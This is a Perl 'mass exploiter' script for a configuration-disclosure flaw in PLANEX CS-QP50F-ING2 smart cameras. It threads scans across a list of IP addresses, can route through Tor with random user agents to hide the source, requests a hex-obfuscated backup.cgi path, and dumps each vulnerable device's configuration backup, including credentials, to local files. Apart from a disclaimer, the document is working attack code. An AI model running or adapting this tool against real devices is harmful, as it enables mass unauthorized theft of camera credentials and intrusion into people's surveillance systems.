#!/usr/bin/perl # # PLANEX CS-QP50F-ING2 Security Surveillance Smart Camera Remote Configuration Disclosure - Mass Exploiter # # Copyright 2021 (c) Todor Donev # # https://donev.eu/ # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # # use strict; use warnings; use Getopt::Long; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Data::Validate::IP; use MCE::Hobo 1.817; use MCE::Shared; use Gzip::Faster 'gunzip'; my $queue1 = MCE::Shared->queue(fast => 1); my $queue2 = MCE::Shared->queue(fast => 1); my $redirects = 3; my $timeout = 60; my $targets = undef; my $threads = 10; my $tor = undef; my $dump = undef; my $gzip_magic = "\x1F\x8B\x08"; printf("\n PLANEX CS-QP50F-ING2 Security Surveillance Smart Camera Remote Configuration Disclosure - Mass Exploiter\n"); sub help() { printf("\n $0 --targets= [ --threads=10 --redirects=7 ] --help\n\n"); printf(" Required args:\n\n"); printf(" %-12s | %s\n\n", "--targets", "Specify the list with addresses that you want to scan."); printf(" Not required args:\n\n"); printf(" %-12s | %s\n", "--dump", "Dump backup configuration file for each target"); printf(" %-12s | %s\n", "--tor", "Use Tor anonymity network"); printf(" %-12s | %s\n", "--timeout", "Specify HTTP request timeout. Default: 60"); printf(" %-12s | %s\n", "--threads", "Specify threads. Default: 10 / Maximum threads: 200"); printf(" %-12s | %s\n\n", "--redirects", "Specify HTTP response redirects. Default: 3"); printf(" e.g. perl $0 --targets=portscan.log --threads=25\n"); printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor\n"); printf(" e.g. perl $0 --targets=portscan.log --threads=25 --tor --dump\n\n\n"); printf(" Author: Todor Donev https://donev.eu/\n\n\n"); exit; } GetOptions( "targets=s" => \$targets, "timeout=i" => \$timeout, "redirects=i" => \$redirects, "threads=i" => \$threads, "tor" => \$tor, "dump" => \$dump, "help|h!" => \&help ); help() if (!$targets); printf(" Error: TARGETLIST not exist, not readable, not plain or is empty!\n") and exit if (! -e $targets || -z $targets || ! -r $targets || ! -f $targets); printf(" Error: Timeout is too short. Minimum timeout: 10\n") and exit if ($timeout < 10); printf(" Error: Threads are too many. Maximum threads: 200\n") and exit if ($threads > 200); my @tmp_targets = (); my @targets = `cat $targets | grep -v '^[[:space:]]*[#;]' | uniq`; for my $line (@targets) { chomp($line); next if ($line =~ /^(\s*(#.*)?)?$/); next if (not is_ipv4($line)); push @tmp_targets, $line; } @tmp_targets = sort { $a cmp $b } @tmp_targets; @targets = (); @targets = @tmp_targets; @tmp_targets = (); printf(" Error: There are not valid targets specified for scanning.\n") and exit if (scalar @targets == 0); printf("-------------------------------------------------------------------------------------------------------------\n"); printf(" Target Code Status \n"); printf("-------------------------------------------------------------------------------------------------------------\n"); MCE::Hobo->create("work") for 1..$threads; $queue1->enqueue(@targets); $queue1->end; while (my $result = $queue2->dequeue) { if (exists $result->{finished}) { MCE::Hobo->waitone; $queue2->end unless MCE::Hobo->pending; next; } my ($target, $code, $status) = ($result->{target}, $result->{code}, $result->{status}); printf(" %-30.30s %-40.40s %-50.50s\n", $target, $code, $status); } exit; sub work { while (my $addr = $queue1->dequeue()) { chomp($addr); my ($target, $code, $status) = scan($addr, $redirects, $timeout); $queue2->enqueue({ target => $target, code => $code, status => $status}); } $queue2->enqueue({ finished => $$ }); return; } sub scan { my ($addr, $redirects, $timeout) = @_; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new( protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout($timeout); $browser->agent($user_agent); $browser->max_redirect($redirects); if (defined($tor)) { $browser->proxy([qw(http https)] => 'socks://127.0.0.1:9050'); } my $target = "http://".$addr."\x2f\x77\x65\x62\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x68\x69\x33\x35\x31\x30\x2f\x62\x61\x63\x6b\x75\x70\x2e\x63\x67\x69"; my $header = ["Content-Type" => "application/x-www-form-urlencoded; charset=UTF-8"]; my $request = HTTP::Request->new (GET => $target, $header, ""); my $response = eval{ $browser->request($request) }; my $status = ($response->content =~ m/($gzip_magic)/ && gunzip($response->content) =~ m/username/) ? "VULNERABLE" : "NOT VULNERABLE"; if (defined($dump)) { if ($response->is_success && $status eq "VULNERABLE") { my @config = $response->content; my $config_file = $addr."_config_backup.bin"; open (FH, "> $config_file") or die " Error: $config_file $!"; flock (FH, 2); truncate (FH, 0); seek (FH, 0, 0); print (FH $_) foreach (@config); close (FH); @config = (); } } my $code = $response->status_line() ? $response->status_line() : "ERROR"; return ($addr, $code, $status); }